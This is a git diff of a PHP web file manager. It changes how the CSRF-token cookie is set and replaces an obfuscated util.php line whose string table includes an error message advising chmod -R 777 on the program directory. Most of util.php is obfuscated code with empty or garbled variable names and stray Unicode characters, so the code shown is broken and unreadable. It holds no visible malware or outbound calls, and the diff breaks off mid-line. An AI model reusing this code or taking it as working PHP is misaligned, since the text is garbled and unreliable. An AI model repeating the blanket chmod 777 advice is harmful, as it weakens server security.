--- a/controller/user.class.php
+++ b/controller/user.class.php
@@ -33,10 +33,9 @@ class user extends Controller{
* 登录状态检测;并初始化数据状态
*/
public function loginCheck(){
- // CSRF-TOKEN更新后同步
- if( ACT == 'common_js' &&
- isset($_SESSION['X-CSRF-TOKEN'])){
- setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100);
+ // CSRF-TOKEN更新后同步;关闭X-CSRF-TOKEN的httpOnly
+ if( ACT == 'common_js' && isset($_SESSION['X-CSRF-TOKEN'])){
+ $this->_setCsrfToken();
}
if(in_array(ST,$this->notCheckApp)) return;//不需要判断的控制器
@@ -55,7 +54,7 @@ class user extends Controller{
$_SESSION['kod_login'] = true;
$_SESSION['kod_user']= $user;
$_SESSION['X-CSRF-TOKEN'] = rand_string(20);
- setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100);
+ $this->_setCsrfToken();
setcookie('kod_user_id', $_COOKIE['kod_user_id'], time()+3600*24*100);
setcookie('kod_token',$_COOKIE['kod_token'],time()+3600*24*100);
@@ -189,6 +188,10 @@ class user extends Controller{
$this->login($error);
}
+ private function _setCsrfToken(){
+ setcookie_header('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100);
+ }
+
//临时文件访问
public function public_link(){
$pass = $this->config['setting_system']['system_password'];
@@ -363,7 +366,7 @@ class user extends Controller{
$_SESSION['kod_login'] = true;
$_SESSION['kod_user']= $user;
$_SESSION['X-CSRF-TOKEN'] = rand_string(20);
- setcookie('X-CSRF-TOKEN',$_SESSION['X-CSRF-TOKEN'], time()+3600*24*100);
+ $this->_setCsrfToken();
setcookie('kod_user_id', $user['user_id'], time()+3600*24*100);
if ($this->in['rember_password'] == '1') {
setcookie('kod_token',$this->make_login_token($user),time()+3600*24*100);
diff --git a/controller/util.php b/controller/util.php
index 6940780..9d7b5b5 100755
--- a/controller/util.php
+++ b/controller/util.php
@@ -1,8 +1,8 @@
-|4|4|6auth|4|4|6ext_not_allow|4|4|6||4|4|6stristr|4|4|6.|4|4|6get_path_this|4|4|6.DS_Store|4|4|6function_exists|4|4|6iconv|4|4|6system_charset|4|4|6utf-8|4|4|6get_default_lang|4|4|6client_is_windows|4|4|6zh-CN|4|4|6zh-TW|4|4|6gbk|4|4|6iconv|4|4|6.txt|4|4|6checkExt|4|4|6unzip_filter_ext|4|4|6unzip_file_charset_get|4|4|6get_charset|4|4|6filename|4|4|6arsort|4|4|6array_keys|4|4|6gbk|4|4|6mb_convert_encoding|4|4|6mb_convert_encoding|4|4|6mb_detect_encoding|4|4|6strtolower|4|4|6mb_detect_encoding|4|4|6check_charset|4|4|6chr|4|4|6unicode|4|4|6cp936|4|4|6euc-cn|4|4|6ascii|4|4|6iso-8859-1|4|4|6charset_check|4|4|6settings|4|4|6updload_chunk_size|4|4|6get_post_max|4|4|6system_space|4|4|6in|4|4|6user|4|4|6is_file|4|4|6get_filesize|4|4|6_path_info_more|4|4|6size|4|4|6lib/core/|4|4|6Application.class.php|4|4|6ini_set|4|4|6default_socket_timeout|4|4|6stream_context_create|4|4|6http|4|4|6method|4|4|6GET|4|4|6timeout|4|4|6file_get_contents|4|4|6stripos|4|4|6
|4|4|6php_env_error_iconv|4|4|6 |4|4|6mb_convert_encoding|4|4|6php_env_error_mb_string|4|4|6version_compare|4|4|65.0|4|4|6>=|4|4|6php_env_error_version|4|4|6file_get_contents|4|4|6php_env_error_file|4|4|6check_list_dir|4|4|6php_env_error_list_dir|4|4|6get_path_father|4|4|6system|4|4|6User|4|4|6Group|4|4|6session|4|4|6path_writeable|4|4|6/ |4|4|6php_env_error_path|4|4|6imagecreatefromjpeg|4|4|6imagecreatefromgif|4|4|6imagecreatefrompng|4|4|6imagecolorallocate|4|4|6php_env_error_gd|4|4|6.cache_data|4|4|6parse_incoming|4|4|6file_exists|4|4|6show_tips|4|4|6data 目录不存在!
+|:|@|5auth|:|@|5ext_not_allow|:|@|5||:|@|5stristr|:|@|5.|:|@|5get_path_this|:|@|5.DS_Store|:|@|5function_exists|:|@|5iconv|:|@|5system_charset|:|@|5utf-8|:|@|5get_default_lang|:|@|5client_is_windows|:|@|5zh-CN|:|@|5zh-TW|:|@|5gbk|:|@|5iconv|:|@|5.txt|:|@|5checkExt|:|@|5unzip_filter_ext|:|@|5unzip_file_charset_get|:|@|5get_charset|:|@|5filename|:|@|5arsort|:|@|5array_keys|:|@|5gbk|:|@|5mb_convert_encoding|:|@|5mb_convert_encoding|:|@|5mb_detect_encoding|:|@|5strtolower|:|@|5mb_detect_encoding|:|@|5check_charset|:|@|5chr|:|@|5unicode|:|@|5cp936|:|@|5euc-cn|:|@|5ascii|:|@|5iso-8859-1|:|@|5charset_check|:|@|5settings|:|@|5updload_chunk_size|:|@|5get_post_max|:|@|5system_space|:|@|5in|:|@|5user|:|@|5is_file|:|@|5get_filesize|:|@|5_path_info_more|:|@|5size|:|@|5lib/core/|:|@|5Application.class.php|:|@|5ini_set|:|@|5default_socket_timeout|:|@|5stream_context_create|:|@|5http|:|@|5method|:|@|5GET|:|@|5timeout|:|@|5file_get_contents|:|@|5stripos|:|@|5|:|@|5php_env_error_iconv|:|@|5 |:|@|5mb_convert_encoding|:|@|5php_env_error_mb_string|:|@|5version_compare|:|@|55.0|:|@|5>=|:|@|5php_env_error_version|:|@|5file_get_contents|:|@|5php_env_error_file|:|@|5check_list_dir|:|@|5php_env_error_list_dir|:|@|5get_path_father|:|@|5system|:|@|5User|:|@|5Group|:|@|5session|:|@|5path_writeable|:|@|5/ |:|@|5php_env_error_path|:|@|5imagecreatefromjpeg|:|@|5imagecreatefromgif|:|@|5imagecreatefrompng|:|@|5imagecolorallocate|:|@|5php_env_error_gd|:|@|5.cache_data|:|@|5parse_incoming|:|@|5file_exists|:|@|5show_tips|:|@|5data 目录不存在!
-(检查 DATA_PATH);|4|4|6config/version.php|4|4|6match|4|4|6\'KOD_VERSION\',\'(.*)\'|4|4|6您服务器开启了php缓存,文件更新尚未生效;
+(检查 DATA_PATH);|:|@|5config/version.php|:|@|5match|:|@|5\'KOD_VERSION\',\'(.*)\'|:|@|5您服务器开启了php缓存,文件更新尚未生效;
请关闭缓存,或稍后1分钟刷新页面再试!
- 了解详情 |4|4|6[Error Code:1002] 目录权限错误!请设置程序目录及所有子目录为读写状态,
+ 了解详情 |:|@|5[Error Code:1002] 目录权限错误!请设置程序目录及所有子目录为读写状态,
linux 运行如下指令:
- chmod -R 777 |4|4|6 |4|4|6index.html|4|4|6mk_dir|4|4|6touch|4|4|6is_writable|4|4|6system/apps.php|4|4|6update.php|4|4|6update_check|4|4|6setting_system|4|4|6system_password|4|4|6md5|4|4|6kodExplorer_|4|4|6access_token error!|4|4|6session_id|4|4|6access_token|4|4|6access_token_check|4|4|6session_name|4|4|6session_save_path|4|4|6session_start|4|4|6session_write_close|4|4|6init_setting|4|4|6init_lang|4|4|6init_user_setting|4|4|6init_session|4|4|6need_check_code|4|4|6en|4|4|6setting_all|4|4|6language|4|4|6zh|4|4|6zh-tw|4|4|6HTTP_ACCEPT_LANGUAGE|4|4|6en|4|4|6_|4|4|6-|4|4|6preg_match_all|4|4|6~([-a-z]+)(;q=([0-9.]+))?~|4|4|6~-.*~|4|4|6kod_user_language|4|4|6setcookie|4|4|6time|4|4|6..|4|4|6zh_CN|4|4|6zh_TW|4|4|6/main.php|4|4|6LANGUAGE_TYPE|4|4|6*|4|4|6?|4|4|6"|4|4|6system_setting.php|4|4|6setting_system_default|4|4|6menu|4|4|6setting_menu_default|4|4|6app|4|4|6first_in|4|4|6index|4|4|6kod_name|4|4|6system_name|4|4|6kod_name_desc|4|4|6system_desc|4|4|6powerby|4|4|6kod_power_by|4|4|6config/setting_user.php|4|4|6STATIC_PATH|4|4|6static_path|4|4|6session_destroy|4|4|6KOD_SESSION_SSO|4|4|6kod_token|4|4|6header|4|4|6location:./index.php?user/login|4|4|6base64_encode|4|4|6+|4|4|6=|4|4|6_a|4|4|6_b|4|4|6_c|4|4|6base64_decode');ߘӴɭآةɶφ߅ݩ̧ᾀϥͬ͠;
- $_SERVER{}[0]($_SERVER{}{0x001},$_SERVER{}[0x0002]);$_SERVER{}[0]($_SERVER{}{0x00003},$_SERVER{}[0x000004]);$_SERVER{}[0]($_SERVER{}{0x05},$_SERVER{}[0x006]);$_SERVER{}[0]($_SERVER{}{0x0007},$_SERVER{}[0x00008]);$_SERVER{}[0]($_SERVER{}{0x000009},$_SERVER{}[0x0a]);$_SERVER{}[0]($_SERVER{}{0x00b},$_SERVER{}[0x000c]);$_SERVER{}[0]($_SERVER{}{0x0000d},$_SERVER{}[0x00000e]);function _DIR_CLEAR($){$=&$_SERVER{};if(isset($GLOBALS[${0x0f}])&& $GLOBALS[${0x0f}]){return $;}$=$[0x0010](${0x00011},$[0x000012],${0x0000013}($));if($[0x014]($,${0x0015})){$=$[0x00016](${0x000017},$[0x000012],$);}$=$[0x00016]($[0x0000018],$[0x000012],$);return $;}function _DIR($澺){$=&$_SERVER{};$=${0x019}($澺);;$=$[0x001a]($);ڶ꜅̶ϭ;$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);$GLOBALS[${0x0001b}]=$[0x00001c];Ʃђ犵˞꣼ꦉբ;$GLOBALS[${0x000001d}]=HOME;柌;$GLOBALS[$[0x01e]]=$[0x00001c];unset($GLOBALS[${0x001f}]);foreach($ as $){if($[0x00020]($,0,${0x000021}($))==$){$GLOBALS[${0x0001b}]=$;$=$[0x0000022]($[0x000012],$);$ݎ=$[0];unset($[0]);$=${0x023}($[0x000012],$);$=$[0x0000022]($[0x0024],$ݎ);if(${0x00025}($)>0x001){$GLOBALS[$[0x01e]]=${0x0000013}($[0x001]);}else{$GLOBALS[$[0x01e]]=$[0x00001c];}break;}}switch($GLOBALS[${0x0001b}]){case $[0x00001c]:$=$[0x001a](HOME).$;break;case KOD_USER_RECYCLE:$GLOBALS[${0x000001d}]=${0x0000013}(USER_RECYCLE,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return $[0x001a](USER_RECYCLE).$[0x000012].$[0x0010](KOD_USER_RECYCLE,$[0x00001c],$);case KOD_USER_FAV:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_USER_FAV,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_SELF,$[0x000012]);ӷܺϗޚ;$GLOBALS[$[0x01e]]=$[0x00001c];return KOD_GROUP_ROOT_SELF;ʥߙȊقɸծ踰ǰท;case KOD_GROUP_ROOT_ALL:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_ALL,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];;return KOD_GROUP_ROOT_ALL;case KOD_GROUP_PATH:$̡=system_group::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;$[0x000026]($GLOBALS[$[0x01e]]);$GLOBALS[${0x000001d}]=${0x0000027}($̡);$=$[0x001a]($GLOBALS[${0x000001d}]).$;break;case KOD_GROUP_SHARE:$̡=system_group::get_info($GLOBALS[$[0x01e]]);녁;if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;$[0x000026]($GLOBALS[$[0x01e]]);ɔհҹ;$GLOBALS[${0x000001d}]=${0x0000027}($̡).$[0x028];Ƣ̩ۡڴ;$=$[0x001a]($GLOBALS[${0x000001d}]).$;̖;break;case KOD_USER_SHARE:$̡=system_member::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$̡)return !1;if($GLOBALS[$[0x01e]]!=$_SESSION[${0x0029}][$[0x0002a]]){${0x00002b}();}$GLOBALS[${0x000001d}]=$[0x00001c];$GLOBALS[${0x001f}]=$澺;Ӕ։똿;if($==$[0x00001c]){return $;}else{$=$[0x0000022]($[0x000012],$);$[0]=$[0x000002c]($[0]);$=system_member::user_share_get($GLOBALS[$[0x01e]],$[0]);$GLOBALS[${0x001f}]=KOD_USER_SHARE.$[0x0024].$GLOBALS[$[0x01e]].$[0x000012].$[0].$[0x000012];unset($[0]);if(!$)return !1;$ع=${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012].$[0x000002c](${0x023}($[0x000012],$));if($̡[${0x0002f}]!=$[0x000030]){$=${0x0000031}($̡);$GLOBALS[${0x000001d}]=$.${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012];$=$.$ع;}else{$GLOBALS[${0x000001d}]=$[$[0x002e]];$=$ع;}if($[$[0x032]]==${0x0033}){$GLOBALS[${0x001f}]=${0x02d}($GLOBALS[${0x001f}],$[0x000012]);$GLOBALS[${0x000001d}]=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);}$=$[0x001a]($);}break;default:break;}if($!=$[0x000012]){$=${0x02d}($,$[0x000012]);if($[0x00034]($))$=$.$[0x000012];}return $;ۥǮ튘됃黑γ;}function _DIR_OUT($){$כ=&$_SERVER{};if($כ{0x000035}($)){foreach($[$כ[0x0000036]] as $=>&$݆){$݆[$כ[0x002e]]=$כ{0x037}($݆[$כ[0x002e]]);}foreach($[$כ[0x0038]] as $=>&$݆){$݆[$כ[0x002e]]=$כ{0x037}($כ{0x02d}($݆[$כ[0x002e]],$כ[0x000012]).$כ[0x000012]);}}else{$=$כ{0x037}($);}return $;}function pre_clear($){$ȭ=&$_SERVER{};$=$GLOBALS[$ȭ{0x0001b}];$Ӕ=$ȭ{0x02d}($GLOBALS[$ȭ{0x000001d}],$ȭ[0x000012]);$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);ǡ֯;if(isset($GLOBALS[$ȭ{0x0001b}])&& $ȭ{0x00039}($GLOBALS[$ȭ{0x0001b}],$)){return $;}if(ST==$ȭ[0x00003a]){return $ȭ[0x0010]($Ӕ,$ȭ[0x00001c],$);}if($GLOBALS[$ȭ[0x01e]]!=$ȭ[0x00001c]){$.=$ȭ[0x0024].$GLOBALS[$ȭ[0x01e]].$ȭ[0x000012];}if(isset($GLOBALS[$ȭ{0x001f}])){$=$GLOBALS[$ȭ{0x001f}];}$=$.$ȭ[0x0010]($Ӕ,$ȭ[0x00001c],$);$=$ȭ[0x0010]($ȭ{0x000003b},$ȭ[0x000012],$);return $;ٞú;}function owner_group_check($){$=&$_SERVER{};if(!$)$[0x03c]($GLOBALS[${0x003d}][$[0x0003e]].$,!1);if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=system_member::user_auth_group($);if($!=$[0x0000040]){${0x00002b}();if($==!1&& $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){$[0x03c]($GLOBALS[${0x003d}][${0x041}],!1);}}}function owner_check(){$=&$_SERVER{};if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=$GLOBALS[$[0x0042]][${0x00043}];if(!$[0x000044](ST,$))return;if(${0x00039}(ACT,$[${0x0000045}])){$[0x03c]($GLOBALS[${0x003d}][$[0x046]],!1);}}function checkExt($){$˨=&$_SERVER{};if($˨[0x014]($,$˨{0x0047})|| $˨[0x014]($,$˨[0x00048])|| $==$˨[0x00001c]){return 0;}$=$GLOBALS[$˨{0x000049}][$˨[0x000004a]];$=$˨[0x0000022]($˨{0x04b},$);ͮʙӬՅŁ;foreach($ as $){if($!==$˨[0x00001c] && $˨[0x004c]($,$˨{0x0004d}.$)){return 0;}}return 0x001;}function zip_pre_name($,$=false){$=&$_SERVER{};if($[0x00004e]($)==${0x000004f})return $[0x00001c];if(!$[0x050](${0x0051})){return $;}$=$GLOBALS[$[0x0042]][$[0x00052]];if($==!1){$=${0x000053};$=$[0x0000054]();if(${0x055}()&&($==$[0x0056] || $==${0x00057} || LANGUAGE_TYPE==${0x00057} || LANGUAGE_TYPE==${0x00057})){$=$[0x000058];}}$=@${0x0000059}($,$,$);ܸ;if(!$){$=$;}return $;}function unzip_filter_ext($){$=&$_SERVER{};$=$[0x05a];魏;if(${0x005b}($)){return $;}return $.$;}function unzip_pre_name($){$Ʌ=&$_SERVER{};if(!$Ʌ[0x050]($Ʌ{0x0051})){return $Ʌ[0x0005c]($);}if(isset($GLOBALS[$Ʌ{0x00005d}])){$=$GLOBALS[$Ʌ{0x00005d}];}else{$=$Ʌ[0x000005e]($);}$=$GLOBALS[$Ʌ[0x0042]][$Ʌ[0x00052]];$=@$Ʌ{0x0000059}($,$,$);if(!$){$=$;}$=$Ʌ[0x0005c]($);return $;ǿݬ߁Д쭃Ȃ;}function unzip_charset_get($){$=&$_SERVER{};if(${0x00025}($)==0)return ${0x000053};$=array();כǣ麇;for($=0;$<${0x00025}($);$++){$ý=$[0x000005e]($[$][${0x05f}]);㟨Ź֑쇤♙Ħ֛ߛᑨ×Ȍ;if(!isset($[$ý])){$[$ý]=0x001;}else{$[$ý]+= 0x001;}}$[0x0060]($);ފΠǜġ;$=${0x00061}($);ٜ;if(${0x00039}($[0x000062],$)){$[0]=$[0x000062];}$GLOBALS[${0x00005d}]=$[0];return $[0];}function charset_check(&$ŏ,$){$ǥ=&$_SERVER{};if($ŏ===$ǥ[0x00001c] || !$ǥ[0x050]($ǥ{0x0000063})){return !1;}$=$ǥ{0x000053};$=@$ǥ[0x064]($ŏ,$,$);$=@$ǥ[0x064]($,$,$);⸆;if($ŏ==$){return !0;}return !1;}function get_charset(&$){$=&$_SERVER{};if($===$[0x00001c] || !$[0x050](${0x0065})){return ${0x000053};}$=$[0x00066](@${0x000067}($,$GLOBALS[$[0x0042]][$[0x0000068]]));if($[0x00020]($,0,0x0002)==${0x069}(0xFF).${0x069}(0xFE)|| $[0x00020]($,0,0x0002)==${0x069}(0xFE).${0x069}(0xFF)){$=$[0x006a];}else if($[0x00020]($,0,0x00003)==${0x069}(0xEF).${0x069}(0xBB).${0x069}(0xBF)){$=${0x000053};}else if($==${0x0006b} || $==$[0x00006c]){$=$[0x000062];}else if($==${0x000006d}){$=${0x000053};}if($==$[0x06e]){if(${0x006f}($,${0x000053})){$=${0x000053};}}return $;Ŝ͚´ŶƊ˅;}function file_upload_size(){$ʁ=&$_SERVER{};global$config;if(isset($config[$ʁ[0x00070]][$ʁ{0x000071}])){return $config[$ʁ[0x00070]][$ʁ{0x000071}];}$=$ʁ[0x0000072]();return $;ڜѸԖ;}function space_size_use_check(){$=&$_SERVER{};if(!${0x073}())return;if($GLOBALS[${0x0f}]==0x001)return;if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE|| $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){system_group::space_check($GLOBALS[$[0x01e]]);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_check($);}}function space_size_use_change($,$=true,$=false,$=false){$=&$_SERVER{};if(!${0x073}())return;if($===!1){$=$GLOBALS[${0x0001b}];$=$GLOBALS[$[0x01e]];}$=$?0x001:-0x001;if($[0x000076]($)){$=${0x0000077}($);}else if($[0x00034]($)){$=$[0x078]($);$=$[${0x0079}];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($,$*$);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_change($,$*$);}}function space_size_use_reset(){$=&$_SERVER{};if(!${0x073}())return;$=isset($GLOBALS[${0x0001b}])?$GLOBALS[${0x0001b}]:$[0x00001c];$Ç=isset($GLOBALS[$[0x01e]])?$GLOBALS[$[0x01e]]:$[0x00001c];if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($Ç);}else{$ݡ=$_SESSION[${0x0029}][$[0x0002a]];system_member::space_change($ݡ);}}function check_list_dir(){$=&$_SERVER{};$=APPHOST.$[0x0007a];$㮲ߺ=${0x00007b};@$[0x000007c](${0x07d},0x001);$=$[0x007e](array(${0x0007f}=>array($[0x000080]=>${0x0000081},$[0x082]=>0x001)));Ѣ؟ڊޮډՅ߹펓ڒ¡;$˺֢=@${0x0083}($,!1,$);if($[0x00084]($˺֢,$㮲ߺ)===!1){return !0;}else{return !1;}}function php_env_check(){$=&$_SERVER{};$=$GLOBALS[${0x003d}];ȟͅǺᔼ;$=$[0x00001c];;if(!$[0x050](${0x0051}))$.= ${0x000085}.$[$[0x0000086]].${0x087};if(!$[0x050]($[0x0088]))$.= ${0x000085}.$[${0x00089}].${0x087};if(!$[0x00008a](PHP_VERSION,${0x000008b},$[0x08c]))$.= ${0x000085}.$[${0x008d}].${0x087};if(!$[0x050]($[0x0008e]))$.=${0x000085}.$[${0x00008f}].${0x087};if(!$[0x0000090]())$.=${0x000085}.$[${0x091}].${0x087};$=$[0x0092](BASIC_PATH);$Ĺ=array(BASIC_PATH,DATA_PATH,DATA_PATH.${0x00093},DATA_PATH.$[0x000094],DATA_PATH.${0x0000095},DATA_PATH.$[0x096]);foreach($Ĺ as $ç){if(!${0x0097}($ç)){$.= ${0x000085}.$[0x0010]($,$[0x00001c],$ç).$[0x00098].$[${0x000099}].${0x087};}}if(!$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){$.= ${0x000085}.$[$[0x00009e]].${0x087};}return $;}include(CLASS_DIR.$_SERVER{}{0x000009f});function init_common(){$=&$_SERVER{};$GLOBALS[$[0x0074]]=$[0x0a0]();if(!${0x00a1}(DATA_PATH)){$[0x000a2](${0x0000a3});}$Ǭ=${0x0083}(BASIC_PATH.$[0x00000a4]);$=${0x0a5}($Ǭ,$[0x00a6]);ˋ;if($!=KOD_VERSION){$[0x000a2](${0x000a7});}$=$[0x0000a8].BASIC_PATH.${0x00000a9};if(!${0x00a1}(KOD_SESSION)|| !${0x00a1}(KOD_SESSION.$[0x0aa])){${0x00ab}(KOD_SESSION);$[0x000ac](KOD_SESSION.$[0x0aa]);if(!${0x00a1}(KOD_SESSION.$[0x0aa])){$[0x000a2]($);}}if(!${0x0000ad}(KOD_SESSION)|| !${0x0000ad}(KOD_SESSION.$[0x0aa])|| !${0x0000ad}(DATA_PATH.$[0x00000ae])|| !${0x0000ad}(DATA_PATH)){$[0x000a2]($);}$=LIB_DIR.${0x0af};if(${0x00a1}($)){include($);$[0x00b0]($);}}function access_token_check($գĦ){$=&$_SERVER{};$=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];ɍθ嚭;$=$[0x00020](${0x00000b3}($[0x0b4].$),0,0x0f);$Ҡ=Mcrypt::decode($գĦ,$);if(!$Ҡ){$[0x000a2](${0x00b5});}$[0x000b6]($Ҡ);}function access_token_get(){$ƃ=&$_SERVER{};$ɤ=$ƃ[0x000b6]();$=$GLOBALS[$ƃ[0x0042]][$ƃ{0x000b1}][$ƃ[0x0000b2]];ÿ۟;$=$ƃ[0x00020]($ƃ{0x00000b3}($ƃ[0x0b4].$),0,0x0f);Ȥ©紣֚Dz;$Ϯ=Mcrypt::encode($ɤ,$,0x0e10*0x0000018);;return $Ϯ;}function init_session(){$Ԇ=&$_SERVER{};if(isset($_GET[$Ԇ{0x0000b7}])){$Ԇ[0x00000b8]($_GET[$Ԇ{0x0000b7}]);}else{@$Ԇ{0x0b9}(SESSION_ID);}@$Ԇ[0x00ba](KOD_SESSION);@$Ԇ{0x000bb}();;@$Ԇ[0x0000bc]();ףտÞ;}function init_config(){$=&$_SERVER{};${0x00000bd}();$[0x0be]();${0x00bf}();$[0x000c0]();}function need_check_code(){$=&$_SERVER{};$=$GLOBALS[$[0x0042]][${0x000b1}];if(!$[${0x0000c1}]|| !$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){return !1;}else{return !0;}}function get_default_lang(){$ۮ=&$_SERVER{};$މ=$ۮ[0x00000c2];ݻ;$ݜ=$GLOBALS[$ۮ[0x0042]][$ۮ{0x0c3}][$ۮ[0x00c4]];$=array();;foreach($ݜ as $=>$){$[$]=$;}$[$ۮ{0x000c5}]=$ۮ[0x0056];$[$ۮ[0x0000c6]]=$ۮ{0x00057};𥲾ζϱϽ;$=array();if(!isset($_SERVER[$ۮ{0x00000c7}])){$=$ۮ[0x0c8];}else{$=$ۮ[0x0010]($ۮ{0x00c9},$ۮ[0x000ca],$ۮ[0x00066]($_SERVER[$ۮ{0x00000c7}]));}$ۮ{0x0000cb}($ۮ[0x00000cc],$,$,PREG_SET_ORDER);foreach($ as $ϝ){$[$ϝ[0x001]]=(isset($ϝ[0x00003])?$ϝ[0x00003]:0x001);}$ۮ[0x0060]($);؝ڏ捞̚;foreach($ as $=>$ꠈ){if(isset($[$])){$މ=$[$];break;}$=$ۮ[0x00016]($ۮ{0x0cd},$ۮ[0x00001c],$);if(!isset($[$])&& isset($[$])){$މ=$[$];break;}}return $މ;}function init_lang(){$=&$_SERVER{};if(isset($_COOKIE[$[0x00ce]])){$=$_COOKIE[$[0x00ce]];}else{$=$[0x0000054]();${0x000cf}($[0x00ce],$,$[0x0000d0]()+0x0e10*0x0000018*0x064);}$=$[0x0010](array($[0x000012],${0x00011},${0x00000d1},${0x0004d}),$[0x00001c],$);if(isset($GLOBALS[$[0x0042]][$[0x00070]][$[0x00c4]])){$=$GLOBALS[$[0x0042]][$[0x00070]][$[0x00c4]];}if($==$[0x0d2])$=$[0x0056];if($==${0x00d3})$=${0x00057};$쭒=LANGUAGE_PATH.$.$[0x000d4];۽ڽ܂Ӱҿľ㊲ϫʩ;if(!${0x00a1}($쭒)){$=$[0x0c8];$쭒=LANGUAGE_PATH.$.$[0x000d4];}$[0](${0x0000d5},$);$GLOBALS[${0x003d}]=include($쭒);}function make_path($){$݄=&$_SERVER{};$=array($݄[0x000012],$݄{0x00011},$݄[0x0024],$݄[0x00000d6],$݄{0x0d7},$݄[0x00d8],$݄{0x0047},$݄[0x00048],$݄{0x04b});ƤಪīǸ;return $݄[0x0010]($,$݄{0x00c9},$);׀ȟ蛉;}function init_setting(){$=&$_SERVER{};$=USER_SYSTEM.${0x000d9};ⓚ˦;if(!${0x00a1}($)){$=$GLOBALS[$[0x0042]][$[0x0000da]];$[${0x00000db}]=$GLOBALS[$[0x0042]][$[0x0dc]];fileCache::save($,$);}else{$=fileCache::load($);}if(!${0x000035}($)){$=$GLOBALS[$[0x0042]][$[0x0000da]];}if(!${0x000035}($[${0x00000db}])){$[${0x00000db}]=$GLOBALS[$[0x0042]][$[0x0dc]];}$GLOBALS[${0x00dd}]->setDefaultController($[$[0x000de]]);$GLOBALS[${0x00dd}]->setDefaultAction(${0x0000df});סҐ媚;$GLOBALS[$[0x0042]][${0x000b1}]=$;}function init_user_setting(){$ͩ=&$_SERVER{};$GLOBALS[$ͩ{0x003d}][$ͩ[0x00000e0]]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ{0x0e1}];$GLOBALS[$ͩ{0x003d}][$ͩ[0x00e2]]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ{0x000e3}];if(isset($[$ͩ[0x0000e4]])){$GLOBALS[$ͩ{0x003d}][$ͩ{0x00000e5}]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ[0x0000e4]];}$ζ=BASIC_PATH.$ͩ[0x0e6];if($ͩ{0x00a1}($ζ)){include($ζ);}$ͩ[0]($ͩ{0x00e7},$GLOBALS[$ͩ[0x0042]][$ͩ[0x00070]][$ͩ[0x000e8]]);}function user_logout(){$=&$_SERVER{};@${0x0000e9}();@${0x0b9}($[0x00000ea]);@${0x000bb}();@${0x0000e9}();${0x000cf}(SESSION_ID,$[0x00001c],$[0x0000d0]()-0x0e10,$[0x000012]);Ţ;${0x000cf}($[0x00000e0],$[0x00001c],$[0x0000d0]()-0x0e10);ʔ㭒́월;${0x000cf}(${0x0eb},$[0x00001c],$[0x0000d0]()-0x0e10);$[0x00ec](${0x000ed});exit;ƭ;}function hash_encode($){$㈹=&$_SERVER{};return $㈹[0x0010]($㈹[0x0000ee]($),array($㈹{0x00000ef},$㈹[0x000012],$㈹[0x0f0]),array($㈹{0x00f1},$㈹[0x000f2],$㈹{0x0000f3}));̟霻蚖ɐʳ͊ό;}function hash_decode($鄳){$=&$_SERVER{};return $[0x00000f4]($[0x0010]($鄳,array(${0x00f1},$[0x000f2],${0x0000f3}),array(${0x00000ef},$[0x000012],$[0x0f0])));ۅɰΈӘחڳӋńߪ栭ﹹࠜ֓;}
\ No newline at end of file
+ chmod -R 777 |:|@|5 |:|@|5index.html|:|@|5mk_dir|:|@|5touch|:|@|5is_writable|:|@|5system/apps.php|:|@|5update.php|:|@|5update_check|:|@|5setting_system|:|@|5system_password|:|@|5md5|:|@|5kodExplorer_|:|@|5access_token 